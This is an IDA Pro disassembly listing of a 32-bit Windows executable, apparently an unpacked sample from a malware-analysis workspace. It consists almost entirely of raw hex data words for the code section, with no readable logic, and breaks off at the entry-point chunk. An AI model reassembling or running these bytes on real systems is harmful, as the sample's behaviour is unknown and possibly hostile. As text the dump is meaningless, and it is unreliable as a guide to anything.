;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : AB0B5F9D945CFEBCEF8684D2DAA77DB4
; File Name : u:\work\ab0b5f9d945cfebcef8684d2daa77db4_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00008000 ( 32768.)
; Section size in file : 00008000 ( 32768.)
; Offset to raw data for section: 00001000
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
include uni.inc ; see unicode subdir of ida for info on unicode
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dd 6F3000A1h, 0C0690040h, 30043FDh, 9EC30500h, 0B4A30027h
dd 0E8C1000Fh, 7FFF2510h, 0C3050000h, 424448Bh, 81C311B0h
dd 1902CECh, 0F8D5810h, 68501700h, 0FF050901h, 85511415h
dd 0A0C48116h, 8B55C315h, 5756EC02h, 0C70875FFh, 0F800C14h
dd 4589C8BEh, 5505B008h, 7503B00Ah, 85FCE00Bh, 0B82EC9h
dd 27D0226h, 0FF85C803h, 85F805E1h, 85D0E1D2h, 6AF0E0F6h
dd 0F9058301h, 0C75587Fh, 41751985h, 3D751780h, 5874F03Bh
dd 50A1137h, 0F9813274h, 3380ACh, 0FF830A75h, 277E0F16h
dd 7C200B04h, 0C01D1120h, 0FF810802h, 7407E2A8h, 0A90FC710h
dd 0FE1E0A47h, 32027501h, 5D5E5FC0h, 0ACC78C69h, 93539600h
dd 0A8858D16h, 0FF680070h, 63500071h, 85C1049Ch, 794275C0h
dd 1010E715h, 33F88B80h, 0FE3BF6h, 478B2D74h, 7430390Ch
dd 48B2602h, 0C730FF06h, 0D8400819h, 0B005E853h, 0B844038h
dd 157559C0h, 0C683801Eh, 63C8304h, 0EBDC67B0h, 5D8B0300h
dd 74DB8508h, 0EB530203h, 69FC6805h, 0C7FA29CEh, 7F385018h
dd 80C95A5Bh, 10EC830Bh, 106A027Dh, 0DECE458Dh, 11447878h
dd 0C48305ABh, 81C7660Ch, 6800020Eh, 2D3D36BDh, 933650F4h
dd 0F2172966h, 0D001161Fh, 6AF40B07h, 0F81D2F08h, 66A10C1h
dd 535B1B30h, 2C026A2Ch, 0F08BF878h, 30FE832Ch, 0EBE30458h
dd 0B561D5Ah, 17565010h, 8317FC1Eh, 2EF9FFF8h, 1C380DDBh
dd 0C35A8A51h, 8BF87081h, 0C24137Ch, 38CE8E57h, 0C00974C4h
dd 8017756Dh, 19E1B03Fh, 0B0F7BC57h, 0B077408h, 8B0C408Bh
dd 0E5301E1Fh, 8B058542h, 0BCBE9FC6h, 5FF1402h, 29F47734h
dd 9C063516h, 68EC046Eh, 0D1406A14h, 7069E041h, 17A4C9CEh
dd 71100868h, 40EB240Fh, 5FE29C2Ch, 5625E531h, 0B12BAA0h
dd 20352E8Bh, 50592E16h, 42505811h, 0B7E5BBD6h, 93D1016h
dd 1C7F0FEFh, 5E26501Ch, 0AAD6295Fh, 13033C1Eh, 2EDB3357h
dd 2DD55364h, 0E8270C0Fh, 0D62C9E53h, 4291B72Ah, 2A620775h
dd 36A61E9h, 752D3C8Fh, 840F8657h, 560EE093h, 0B2FD02E8h
dd 871BC924h, 5FEF00Bh, 0B36F3868h, 11DF18DFh, 0B583Ah
dd 0CE0C56CDh, 300958D8h, 0C4856078h, 7D0DFC59h, 0CF0CF207h
dd 829CF436h, 2511C4Ch, 8D532476h, 16D33584h, 16718C9Dh
dd 46B226F0h, 0DC6025F2h, 9EDC7259h, 0B020110h, 0E82404C7h
dd 1E26FB77h, 1B30928h, 0C2A8575Eh, 1AB1F55Fh, 0CCEB0744h
dd 35719D3Bh, 0EE9F790Ch, 0C409D23Eh, 91EC2068h, 0C988B133h
dd 0FEFD6961h, 0D548AC0h, 188858C4h, 200480h, 60404041h
dd 0EE7C2848h, 19606A2Ch, 68FF4C38h, 4063E41Bh, 8B12625Dh
dd 8B9040EFh, 1C383FD1h, 0E1EFB4FCh, 0EEFF7C06h, 0F0CCDE1Eh
dd 68096A21h, 31643B2Fh, 0D8E1BDACh, 206B7B45h, 48B3F75h
dd 0D001E91Ah, 0FE4588E0h, 0E5FE1162h, 21AE4F42h, 9041D70h
dd 218E23B3h, 79FF3CFFh, 2C6471EBh, 846D371Bh, 0DF3BD884h
dd 93C497C7h, 687AC657h, 22B389B8h, 6DAB188Fh, 3914A737h
dd 9C0F3CECh, 8B36EE0Ch, 534C8B43h, 0B200C39Ch, 93CAC90Ch
dd 765A3D14h, 922F67Bh, 1D8B6B74h, 4B8B8DA5h, 0CC424B89h
dd 1C0ACE61h, 118D32Dh, 40BF5752h, 85D99C06h, 0FF0CBC58h
dd 31325759h, 6434ECBDh, 8DE3D66Eh, 58680465h, 0D8DF7962h
dd 0B56A252Ch, 7413BA28h, 3BDE7424h, 0A39B6304h, 415A331Ch
dd 8D46A028h, 0EEC5CB5h, 5C0EAC5Fh, 130C1106h, 0D26A1868h
dd 10C0C0EBh, 264F4646h, 0CF0FE375h, 5804581Ch, 0B8424ACDh
dd 0D6B1EFC4h, 0A1CB1505h, 833B234h, 0A1ECEAC1h, 0F20A6738h
dd 8D5B4C6h, 0ED3E0627h, 4893B43Fh, 3C8E09A6h, 3EEFB4A8h
dd 8E6C3FECh, 0EF6BACB4h, 0FB8EB43Fh, 0B53FFB3Ch, 9A8C921h
dd 0CFFAE3FAh, 0E7DEA669h, 99993516h, 0DD034C0Ah, 0C7D069E2h
dd 253B60AAh, 0C2E7366h, 0FB8305DFh, 80657401h, 60740204h
dd 74DD068h, 0F0DC0EB6h, 9906816h, 0BEC53767h, 562FCB34h
dd 0D2A3696Fh, 86568BF1h, 36F2EC51h, 981AE197h, 0B7E6FF8h
dd 63CDB6Bh, 0C5681009h, 0D1888553h, 737C017h, 0DACBFE9h
dd 48385FB4h, 60B757D3h, 586A2ABCh, 702C1604h, 0B49B8DDBh
dd 45535E32h, 3C0E787Fh, 432DB7DBh, 6882DE60h, 746A6A2Ch
dd 647B1274h, 16803AF7h, 70B13840h, 159DD6DEh, 0F1B7CD6Ch
dd 87690D94h, 3B00D06Bh, 80EC7CCFh, 12B944A5h, 45066300h
dd 1C52BEA0h, 3C39ADB4h, 31785876h, 0BD8EAABCh, 0D4971439h
dd 0C54FE40Eh, 257F0074h, 0FC7D8908h, 0FCCD5ECCh, 0EADC5EB8h
dd 0DE8F6E67h, 9FE7E0CAh, 6CE41D08h, 7FDCACE5h, 22E1C56h
dd 0F2F03DD8h, 33653753h, 3C1CBBF0h, 0BB475311h, 73AC8F69h
dd 3DB66248h, 0D77F6936h, 0C730FC17h, 6A1601E0h, 4417B72Ch
dd 756D7ED7h, 73B71D28h, 83C16464h, 8E04C083h, 2DEF9E4Bh
dd 89C72D50h, 6814B85Ch, 64482F68h, 0BB634553h, 1FA03A7Ch
dd 3A4764B4h, 7D831B5Ch, 6317A20Ch, 16A34C05h, 1A7C6A5Dh
dd 0E2E0F81Ch, 703565DBh, 0BC93B1A7h, 741B9D4Fh, 6D5285E1h
dd 4410C362h, 0D86885E9h, 68622DADh, 0EFE06124h, 9E48EFEDh
dd 0CF83985h, 590AA038h, 0EFF0B5B2h, 665B6C68h, 0B7EC875Ch
dd 0C71B5A8Eh, 6A5076A4h, 730ADE70h, 802ABC59h, 0A5EC878h
dd 977584ECh, 8784680Bh, 0C7A24863h, 3C71674Ch, 80E36C79h
dd 519610FCh, 353B74B1h, 0FDCC227h, 6FA741D3h, 68147026h
dd 14E7EB86h, 33E6DA48h, 0B52A32E3h, 66763AEBh, 0AF744C7Ch
dd 8210B687h, 0C0599303h, 7559013Ah, 0D913BC60h, 1840BE6Bh
dd 0C259FB15h, 0B374596Bh, 56F6CFAh, 0EB079958h, 3A222D5Fh
dd 0F001A33Ch, 0D90AEB01h, 0F40BFBF8h, 8C4EE07h, 59780281h
dd 0E4837C5Eh, 2C530871h, 0B85F8CDBh, 0E6030BDAh, 6AD3277h
dd 7868D035h, 0DDDE0B82h, 12505917h, 6D9538Bh, 0B4087D8Bh
dd 3803B40Ch, 2768FB1Ch, 711B0400h, 0D9B41518h, 5A48016h
dd 0A7B79913h, 0F874C51Dh, 5CB41A9Dh, 563AD475h, 0DB71D43Dh
dd 307C0C0Eh, 0D8CFEB6Ch, 64FCD8A3h, 0C1C471FBh, 202BCC36h
dd 1C67D6FBh, 661B17E0h, 6A6031A1h, 8DFC41B1h, 78190267h
dd 149C7B16h, 33D81A8Bh, 30DDC6FFh, 7D041E60h, 8002830Eh
dd 89592B0Eh, 0C85CBD44h, 0A75750Fh, 0EE8450Bh, 0F750507h
dd 730EC59h, 5F5A066Ah, 9D6A2D4Dh, 58474838h, 58062059h
dd 4C7C4B59h, 0D44CEEB4h, 1AE85827h, 0D008B0A0h, 8E72CC1h
dd 3CC0E05h, 0C808EC7Dh, 0B97A5468h, 1FDB182Dh, 0C3E047E0h
dd 4CF3D20Dh, 7B8D1DFCh, 0BDE427B8h, 98E41334h, 2A746DCFh
dd 80E7BA8Ch, 2BDB162Ch, 8E00CE1Eh, 0ECD841B3h, 57E3D88Fh
dd 19CFEE3Ch, 0DA0A112Eh, 0F9DC5D89h, 7BBD820h, 3DF40D8Bh
dd 3BDE9A36h, 5341EF8Ch, 6F0974ACh, 0EB0BC453h, 0F79E9F75h
dd 90F1FBB6h, 0F62D3415h, 6D7B133Ah, 7B300E8Fh, 0F85A8230h
dd 26594A74h, 86AD6B2Dh, 2C1D8B86h, 74594FD1h, 8A30B315h
dd 4070F852h, 361B7501h, 23356580h, 9CA9966Ah, 0F4591453h
dd 2D1FD6CDh, 3524DEEBh, 4E183FA7h, 8F02D67Fh, 0D9DCA3DCh
dd 36EBBDC4h, 0F64437F9h, 0CBB7745Ah, 0BA763918h, 0F0BB303Ch
dd 8F0F1000h, 351F6625h, 84A93790h, 0A27004C2h, 6C082474h
dd 8A002057h, 74203C06h, 5093C04h, 0EB460375h, 0C5D43BF3h
dd 0A20B1844h, 0DC00D5Fh, 0BF048D0Eh, 7C8D4600h, 0E5EBD041h
dd 0A8C7618Bh, 33085654h
dd 3F5657F6h, 5F088BA5h, 45E1D58h, 0B515B268h, 0C66C6ADFh
dd 75891A57h, 51FBC4F0h, 0E13C9B6h, 97B3056Ah, 85960D00h
dd 0B70B573Fh, 930A5656h, 4D417AE8h, 428C51FCh, 1B086818h
dd 1638FC9h, 196AC638h, 46EB7978h, 541EE4DAh, 2D91E304h
dd 32C47669h, 461B9DBEh, 0D92C20D6h, 0A6D59F0h, 0F8C2C747h
dd 4C0FF85h, 81067DDCh, 4FD3C749h, 0C3093C47h, 0C657E8E8h
dd 1F6A00C2h, 0F9F75999h, 0FFA0283h, 0B6E84D7Eh, 231E0FF6h
dd 9916A6E8h, 0B0ECE8Bh, 0A9BE852h, 23D69071h, 3B3E17EBh
dd 0B0788E17h, 16EB5753h, 1969E82Ch, 0E8AC5EE3h, 8E0A535Bh
dd 91ADB748h, 0D546F220h, 0ECD423Bh, 4EF6B110h, 40365C3Ch
dd 0BF640EB9h, 3711BA95h, 17C50F7Ch, 180EC52Bh, 7004CB50h
dd 0D577C80Eh, 0C9B4A620h, 0BB35BD3Ch, 0E2D13284h, 4C5151C3h
dd 483D2E58h, 68C9B011h, 5E6A4D94h, 3D22D796h, 193D6C44h
dd 234C04B4h, 50106F93h, 76170C27h, 0A830D12h, 0D25A597Fh
dd 8E10E858h, 1010F167h, 2DFD86D2h, 40674280h, 0B73D87h
dd 0D73CA235h, 48B464CBh, 53CE4CEAh, 65680B1Fh, 0BBC2261Eh
dd 5A863680h, 0F03F13F8h, 0EE754B04h, 0E3E75Bh, 0BB86884h
dd 0EB0A6035h, 24CED9ECh, 69BE56E2h, 0DC740E00h, 9D8D568Dh
dd 8DFBDCE2h, 50150BD6h, 1D5B5A0Dh, 5BC8005h, 5C0CC8DBh
dd 13741361h, 4D681778h, 9B6D2FCCh, 0C81E23A9h, 137130EEh
dd 0DC020C80h, 165E74C1h, 4E726313h, 745A9E6Bh, 2E10CE4Ch
dd 53409C68h, 8011FF68h, 0FB6E8267h, 0ED0D7567h, 5C0017CBh
dd 81D6CC8h, 0CA126C6h, 9DC5CA50h, 8B00ACCCh, 0C245400h
dd 4244C8Bh, 74D21385h, 8A082A47h, 8B8CE644h, 720474E0h
dd 0D900F72Dh, 7403E183h, 0D12B08h, 49470788h, 0C88BFA75h
dd 8E0C105h, 6A3C103h, 83CAC210h, 0E905C0E2h, 2E067402h
dd 5C3AABF3h, 0F74A2306h, 695F993Eh, 0E861D6E4h, 0C132F75Bh
dd 145FE003h, 0B41018Ah, 4074C084h, 0F175C20Eh, 0E030DC75h
dd 0FF03BA01h, 37EFEFEh, 33BF70D0h, 0C11B83C2h, 6DA904h
dd 0E8748101h, 0FC5C418Bh, 8433322Bh, 0A9131EE4h, 133DB886h
dd 0ADB69BCBh, 0CDEB0201h, 68FF418Dh, 0C12C2B55h, 0FE7509C3h
dd 0FC67FD9Dh, 0B8D781EEh, 69C5729h, 104D31E3h, 0B88B5CCBh
dd 0C603D100h, 276FE3Bh, 0FF83B08h, 7A387882h, 8CB6C7F7h
dd 0E0CB145Dh, 8F983D1h, 0F3290072h, 9524FFA5h, 51CE23D8h
dd 1CBAC72Dh, 80E98309h, 0E0830C0Dh, 0C8580303h, 0F0398517h
dd 8D06C122h, 90C523E8h, 8B6C07CEh, 2C970400h, 23503C03h
dd 0C8AD127h, 1468A01h, 62014788h, 56EE0205h, 0C6597108h
dd 5CB3C7C5h, 5B8DACCCh, 259D2B49h, 271019Ch, 0D6A6D102h
dd 2E23905Eh, 475A2146h, 0DE8C3A19h, 6CF5C3Fh, 0B403B9BCh
dd 0A49EACE7h, 0E7949C79h, 3188AC8Ch, 6885E48Eh, 7CFE48Fh
dd 0ECE83CE8h, 0F0CFECF3h, 0F3F4F03Ch, 3CF8CFF4h, 0FCF2FCF8h
dd 348D6DB1h, 0F0030B9Ah, 0E26CF803h, 0F0D1FF8Bh, 0FC0373F0h
dd 62410C7h, 5C08458Bh, 9DB49071h, 0F97C0BFAh, 0A3EB11FDh
dd 0AEEDA0Dh, 748DA02Bh, 7C67B031h, 7FFC4F39h, 0DC2249Dh
dd 0FCE3C5FDh, 257077C7h, 65859749h, 0EF252016h, 0F9A38FD6h
dd 78A12BE3h, 2CA1DB24h, 0B728890h, 0D003E7A8h, 99036DB8h
dd 36FC23Ah, 4F58E54Eh, 0BDB656A3h, 0B51F4BCEh, 0B1EEA3B8h
dd 63CBEF02h, 90F2294Eh, 24F527DEh, 0B1EEABB8h, 0AE69EFABh
dd 0E5A4531h, 2E5BFED6h, 2C5C0624h, 3CF33403h, 4C3C44CFh
dd 0D767F354h, 1C1C3C67h, 0E71807B9h, 79149E18h, 10E71014h
dd 0C790C9Eh, 9E08E708h, 97044F04h, 80C51FCBh, 38805CBh
dd 0AC7A989Eh, 0B7E78BD6h, 0EE87ADB5h, 0E783D70Fh, 0B7F6D213h
dd 0CCC01E8Dh, 83003D51h, 968D119Eh, 14151751h, 25B8C281h
dd 10D02DDDh, 17B60185h, 84EC7326h, 0CC48B16h, 8BE18B0Bh
dd 884019A5h, 0EFD2C38Ch, 56534130h, 61118A30h, 98841031h
dd 8A006919h, 0F6840171h, 5D8B4F74h, 11919F7h, 0D038C930h
dd 0D9157423h, 3A180B9Bh, 750A380Ah, 5B5EF518h, 0A0C3B4C5h
dd 0EB75F010h, 0FF7E8D02h, 3902618Ah, 106628F7h, 0E03811E0h
dd 8A17C475h, 6310341h, 0FF668A18h, 83101F67h, 0B1EBDF74h
dd 34C2E419h, 90E0C28Ah, 478D9119h, 0C30CFF5Ch, 5D31DD9h
dd 20111A1Ah, 57F2A053h, 26B0086Ah, 7D338D59h, 6A0BA2E0h
dd 16002C07h, 0B60F01B3h, 101CCCAh, 0E8C1CF23h, 0CE3D203h
dd 0CF056699h, 0A2461816h, 8BE57502h, 29460855h, 0CA8B0610h
dd 8A4960A4h, 27BB6A02h, 5BCE1B61h, 0E3D32860h, 8AE798C1h
dd 0E0354C01h, 774D984h, 42038270h, 8BE016EBh, 0A7921DAh
dd 0CE236D1Eh, 580B242Ah, 5025E0D3h, 21B475C1h, 228000h
dd 5FC38B42h, 5EC2012Bh, 0C01BD8F7h, 23556C89h, 565BC327h
dd 8493898h, 8D6A0CEBh, 0FDDA24A4h, 5757C936h, 8E0FCF20h
dd 1B7FA63Bh, 1A3E238Fh, 79810E3Bh, 600DEBFFh, 8EBFE04h
dd 3EBFDE0h, 0C0C68E6h, 194C5FBEh, 92414E95h, 1788640Bh
dd 0EEE06247h, 668905EBh, 42D7417h, 0F86EB967h, 0B5118B69h
dd 2FE1976Bh, 0BBF3427h, 69C2F727h, 79F1265h, 38C7966Ah
dd 668BEE67h, 0C5C6C608h, 0CAD0043h, 0F08808C5h, 0EC3D8307h
dd 1FE6C58h, 68117E09h, 4CA71D07h, 21A7AEECh, 0E195471Ah
dd 0D8B26B0h, 8137C3E0h, 2541048Bh, 0C6F8A307h, 2820306Ah
dd 7D31E451h, 64046134h, 0B2434A1h, 25896450h, 1CD74B07h
dd 89570858h, 0C563E865h, 0D233C1ACh, 5C31D48Ah, 93C2EA64h
dd 765CE181h, 600D2E89h, 0E1C1210Dh, 0ACAA68Bh, 0E8025C1Dh
dd 0E258A310h, 8EF63307h, 7D232998h, 8754281h, 0B701C6Ah
dd 63595419h, 83C0E89h, 4DD25821h, 1A27F7A8h, 20B8D074h
dd 40A316A0h, 1ECC096Fh, 9A1D8B38h, 0BC58AEB4h, 79C6D02Bh
dd 838FA431h, 1674A4h, 9C458942h, 1D045F6h, 0F06F986h
dd 18D445B7h, 58410AABh, 729C4F8Dh, 0BE9EA01Fh, 89302566h
dd 0E91A34D8h, 0EC47568Ch, 8909011Fh, 5150984Dh, 0BE1B1071h
dd 0C7E0FE69h, 0CBE89875h, 23C3F6BAh, 75C56F48h, 251BC405h
dd 423E78Bh, 9AC42588h, 0D04F7066h, 0BB2FE76Ah, 0F859F224h
dd 0E450B025h, 428D60D0h, 0C35BFF1Bh, 648DE25Dh, 0D36C06C8h
dd 0D88B3153h, 0EBC4BD90h, 0B0BFC908h, 0A8A130Ah, 0D4384236h
dd 0C984D102h, 12F05174h, 0B36ED75h, 0C3029CD8h, 5610E3C1h
dd 0A8B08C1h, 4611B6BFh, 3319B6C1h, 0F96FC1CBh, 0B4FFF183h
dd 33CF021Ah, 4C283C6h, 1BD06D64h, 256D1C75h, 6D39622h
dd 817979Ch, 2345E681h, 4023AD80h, 0CDC05B11h, 38FC428Bh
dd 367437D8h, 38EF0DA7h, 0AB3E93DCh, 0BC8DE793h, 0DCF31512h
dd 385806CFh, 0E12DB396h, 77FE42B1h, 0FD9F0637h, 0D125FC1Dh
dd 8D91C522h, 0F9658848h, 0C772638h, 72592FDEh, 52EB2F30h
dd 5B83F599h, 0C12B0E3Ah, 0D1B68085h, 15644F6h, 0A5E8023h
dd 0FE658005h, 0FC4D1060h, 0FD451B88h, 916A46Ah, 45FD380Dh
dd 42CFC6Bh, 0BB0A4D8Dh, 51018413h, 3C559A50h, 17682701h
dd 27566D0h, 0C6B89B8Ch, 452C230Ah, 0A111080Ch, 0CC347454h
dd 0D0FF0203h, 73601068h, 30060888h, 68A41BC1h, 0E6804h
dd 16DD4BEAh, 8A974FC3h, 0D11B0C3Ch, 100CB28Bh, 86DA0147h
dd 395F047Fh, 0BAE3943Dh, 0FD691175h, 0D3B8A963h, 64B49E49h
dd 3155CD83h, 18585C20h
dd 903D2E89h, 1D881622h, 3C82288Ch, 83F150A1h, 4CEF6122h
dd 8D56C074h, 3B02FC71h, 8B1372F0h, 0B097F206h, 5A3B047Ch
dd 73022235h, 18685EEDh, 0D41494D1h, 5A682898h, 1C3B1020h
dd 5BDB8580h, 7AB41075h, 4F86895Bh, 6198362Ah, 0E23B78A2h
dd 0D60D73AAh, 4C60A57h, 5D34EDEBh, 53D85344h, 18D3FF1Ch
dd 8B842047h, 0F79C0858h, 15AEDA15h, 5C8205FBh, 0E5086083h
dd 807158EAh, 4343FC1Ch, 73F61938h, 98AE8700h, 4CE6266Fh
dd 0C04D4369h, 8B0C0B3Bh, 24680448h, 1DC85B85h, 0CC6D701Ch
dd 6D743865h, 56D10003h, 157DCA3Bh, 4916348Dh, 1704D12Bh
dd 161200B5h, 3022683h, 754A0CC6h, 177E46F7h, 16107C35h
dd 58338E3Dh, 0C72D0C9Bh, 830E0C05h, 70EB1300h, 0CE123B25h
dd 3D5D8381h, 0E884BC91h, 933D3B4Ah, 378385CEh, 82BC8D3Dh
dd 3D3B24E8h, 8386CE8Fh, 0A3923D11h, 0CB8AE30Ah, 6A6688FFh
dd 2E8C888Ch, 56590AECh, 0FA74595Eh, 3911515Dh, 0E368A39Ah
dd 0FFC83683h, 7BD14868h, 5D5BE1BCh, 1C671DC3h, 6D7078D9h
dd 0F8671539h, 0B85616FDh, 0ED748B05h, 0B74EB4Fh, 0CC08300h
dd 473C63Bh, 0FC104339h, 490C8D02h, 8D03C55Eh, 0C13B15A1h
dd 89661269h, 0EDCE3EEDh, 1B003B74h, 0A3E8662Ch, 2330499Eh
dd 25637522h, 74616A9h, 119B476Dh, 0A1C019F7h, 0A7602861h
dd 46E60128h, 3E80E3EBh, 0C00D2162h, 203C0A07h, 704EC676h
dd 5977200Ch, 28E534FAh, 890FD104h, 0DB80C685h, 39DB3353h
dd 0CC5AB41Dh, 0C85BFD48h, 4EEFD25Ah, 0C33A2B80h, 3D3C01DEh
dd 23470174h, 3966683Ch, 0EB01A3C0h, 4128DE8h, 0AC3C04BDh
dd 8BB12C01h, 0F33B59F0h, 0B4740931h, 7448CCA5h, 72F4C09h
dd 1413D5Ah, 39741F38h, 396C5755h, 59E8058Bh, 853F8045h
dd 0B1552249h, 31C33B34h, 2E6E063Ch, 36FF5708h, 596EACB4h
dd 359166Eh, 750537FDh, 0B7FF5DC9h, 82452D84h, 0B1D2B8Bh
dd 5F1E8940h, 4487985Eh, 0E8017471h, 6B510BF1h, 9CBE85BDh
dd 3C982BDBh, 53515623h, 69A18AB2h, 84A2C729h, 38FE8B82h
dd 8B4D6118h, 6DE347F8h, 53530BF3h, 671E459Fh, 0A0260F8Bh
dd 8816E54Bh, 0EA19A5D4h, 3EA1D6CFh, 392F7508h, 8624E127h
dd 356A5650h, 2C27FC2Ch, 7B5A4814h, 0A39C856Ch, 3606D068h
dd 184CE26Ch, 30141CC4h, 0B321839Bh, 616A6672h, 0A60C7D44h
dd 8BE494DFh, 0C6786685h, 61393777h, 80146189h, 449B3038h
dd 150048Ah, 0C6FA8040h, 583929BEh, 0D2BE3025h, 218216F6h
dd 41B4772h, 1043D74h, 70C0F685h, 1688108Ah, 0B40462Dh
dd 0EB8BD59Dh, 4620CCEh, 461D3180h, 1CC24069h, 11D943EBh
dd 0C51E6D05h, 44834004h, 0E983F6DAh, 881819C0h, 65B8461Eh
dd 9797420h, 9086009h, 75E0CC75h, 0BBD94803h, 0FF664AD8h
dd 2C6580D8h, 684E0018h, 16C700h, 2BD14439h, 3276805h
dd 6CF15EB1h, 0BCF7C817h, 0B558BD0h, 0C702FF14h, 59D73AD0h
dd 5C22C085h, 16400475h, 92F7EB43h, 0C3F62C81h, 6196B201h
dd 307D3941h, 0B800D6Dh, 8D220178h, 8B1D38E3h, 3815C263h
dd 0C9C0837h, 18D26C33h, 940F1805h, 58089C2h, 0D38BEBD1h
dd 0B2F934Bh, 4088430Eh, 465C06C6h, 754BB1B0h, 0C58AF335h
dd 92834A29h, 0A37CB33Fh, 74C33F8Ah, 94C833Ah, 282E742Eh
dd 0C9E2195Bh, 0E21FE506h, 406F0F1Bh, 0E315032Eh, 90384001h
dd 309AD81Fh, 0EE80F9Ch, 3C7B8A6h, 8E274E83h, 4CE1442h
dd 98A06CFBh, 0A019A149h, 0B5684070h, 0D1C2EDD0h, 0C0C9F633h
dd 475A88Bh, 260ED51Bh, 1674330Bh, 0ED7421BAh, 5828EB36h
dd 4730CC3Dh, 1798FB3Bh, 0C71BF7EAh, 215EBC02h, 62C87D40h
dd 0A781E0C7h, 3F0C2F43h, 0F0C22738h, 8C1E3966h, 40EBE173h
dd 18086040h, 6BCF975h, 0C62BF211h, 50C82F87h, 84F8D10Dh
dd 5953408Eh, 8903C090h, 23342444h, 235D7FFh, 3274EB3Bh
dd 0C2223237h, 0C223747Bh, 0B950551Ch, 257724BBh, 97A92B21h
dd 10230C0Eh, 8B5CE527h, 0B1038B09h, 5C4728Fh, 53EBC38Bh
dd 75028982h, 85A5CE4Ch, 7408B177h, 8B60C03Ch, 2C0A74C7h
dd 5A7B3840h, 0F60504FBh, 9C40C72Bh, 945666Ah, 68CEDD9Bh
dd 0EBF622B0h, 6DBA0B46h, 0EC8B90F5h, 0C0F6B1B3h, 67C63D68h
dd 624089EBh, 7D9C5B01h, 894459ECh, 0D232394Bh, 0B3093EADh
dd 1B327365h, 4015C3E6h, 1C189673h, 20787440h, 29B4868Dh
dd 7336B4ACh, 4396D1Ah, 46C6B6C0h, 0A15A0A05h, 2DF56C23h
dd 0A1B0508h, 5DB4E2EBh, 66CC52A6h, 73420973h, 0C5D2C575h
dd 0E99C4417h, 23B9740Bh, 5DC8D30h, 0A00800B8h, 2E1C8D4Ah
dd 76027C2Ch, 6335392Dh, 0BF527D02h, 8F4CEE44h, 380068E6h
dd 57F835Eh, 888D0789h, 4F607EB6h, 0B9608018h, 40C7087Eh
dd 0C10F8B0Ah, 0C1810876h, 0DDE47C6Ch, 7C49F0D5h, 6EB16BBh
dd 30D4098Bh, 187EF6A5h, 38038B46h, 68A3614h, 0C1F6004Dh
dd 47ECE01h, 0B75080Bh, 87949EA5h, 0C7D05825h, 0C1CF8B01h
dd 0E18305F8h, 85045530h, 218CCFB4h, 0B8BC805h, 2FC80889h
dd 47EB6088h, 0C3038345h, 7CFE3B04h, 0EC5067BAh, 0FFD83CC1h
dd 31D8F258h, 3B964D75h, 81041900h, 0F66AB481h, 8861EB58h
dd 198748C3h, 72F58D71h, 0F203D858h, 0B5571750h, 250C8D66h
dd 9A3ECF68h, 800608D0h, 0EB6AC54Eh, 3F8BB84h, 50A1C77h
dd 0C604EB08h, 30438005h, 2D7C0374h, 0B8B8FF9Bh, 0A5F5D436h
dd 44BD84A9h, 6AB3C4C3h, 0F3987732h, 0B6A0A368h, 63C02E76h
dd 17558C5Bh, 569128A3h, 2D2E5C37h, 0F752570h, 10A73CB3h
dd 0AE901E1Dh, 4BCD8672h, 0FCD62140h, 0C25529E7h, 33D868D8h
dd 309EF886h, 5DA13C11h, 0E58B3AC7h, 41CFD022h, 67004h
dd 81D8DB8h, 0E73A0F74h, 8910F1B8h, 0CBB80235h, 0BD3EC347h
dd 6AD96012h, 0E05C68FEh, 66B26440h, 0C3AF8B5Dh, 0A620193Ch
dd 708B0A4Ah, 53440E0Ch, 24047F2Eh, 21C02874h, 0B30C8B76h
dd 39858949h, 17844889h, 0B1C3B37Ch, 14431275h, 0B32D2D4Eh
dd 9124027Dh, 8C054FFh, 8F64C3EBh, 0DE4932ABh, 0E7F38CA2h
dd 0D0641964h, 5A79810Fh, 75236804h, 8151190Dh, 390C52A6h
dd 5B13151h, 8AC19B6Dh, 8C8CBB51h, 0F671B385h, 61A86708h
dd 33024B16h, 6B02D043h, 465B590Ch, 56EF7024h, 30320243h
dd 30304358h, 816374Dh, 59FC89FAh, 0F7B99C18h, 6CE4405Bh
dd 212DC7D9h, 4531C489h, 16DE4D10h, 21713EF8h, 87BC273h
dd 8D61C1D0h, 0B1760C2Ch, 45748F70h, 8D555605h, 0A89C106Bh
dd 5E5D2E0Bh, 0C40B4C41h, 3C783317h, 45C54125h, 0B38BBB23h
dd 56961D04h, 2EFDCE0Ch, 6FB33608h, 938FDE8Fh, 558F164Ah
dd 5D3B0C2Eh, 1AE03008h, 0EB8F348Bh, 0DBB8A12Dh, 0C91CEB0Bh
dd 0D015EB62h, 0B5FF6A5Ch, 165D963Fh, 55A394D6h, 8B02754Eh
dd 1C418B29h, 1803C250h, 0F324D650h, 350EA1E1h, 99CCA18Eh
dd 832AF2B8h, 6AD43D1Ch, 21089DCCh, 0D800FC68h, 33C42538h
dd 9ACBA4A1h, 0FFF0F159h, 592A156Ah, 9AA4C06Ch, 8550184h
dd 0A0B8C933h, 983B3E39h, 428E0B90h, 303D4108h, 0F137E06Eh
dd 5F18B56h, 3B03E6C1h, 871AA596h, 3A011C26h, 1EBC9B6Ch
dd 0D70F3E8h, 0D71E10F7h, 75FA812Dh, 0F0F10B38h, 905C858Dh
dd 10427E2h, 30E74D46h, 0C4171397h, 0D34F540Ch, 123E7CA3h
dd 8D505705h, 3407A6BDh, 0C1404261h, 29763CC8h, 0E2211979h
dd 0DF1F825h, 6A465883h
dd 0F8030305h, 41CF0868h, 0FB351257h, 60858638h, 0DACDD385h
dd 109F553Ah, 0B63C5712h, 0EAE81DF8h, 0B6FF2B05h, 16D3DFA4h
dd 6805113Eh, 0F1012010h, 7CC06810h, 6E6A3527h
db 0C0h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
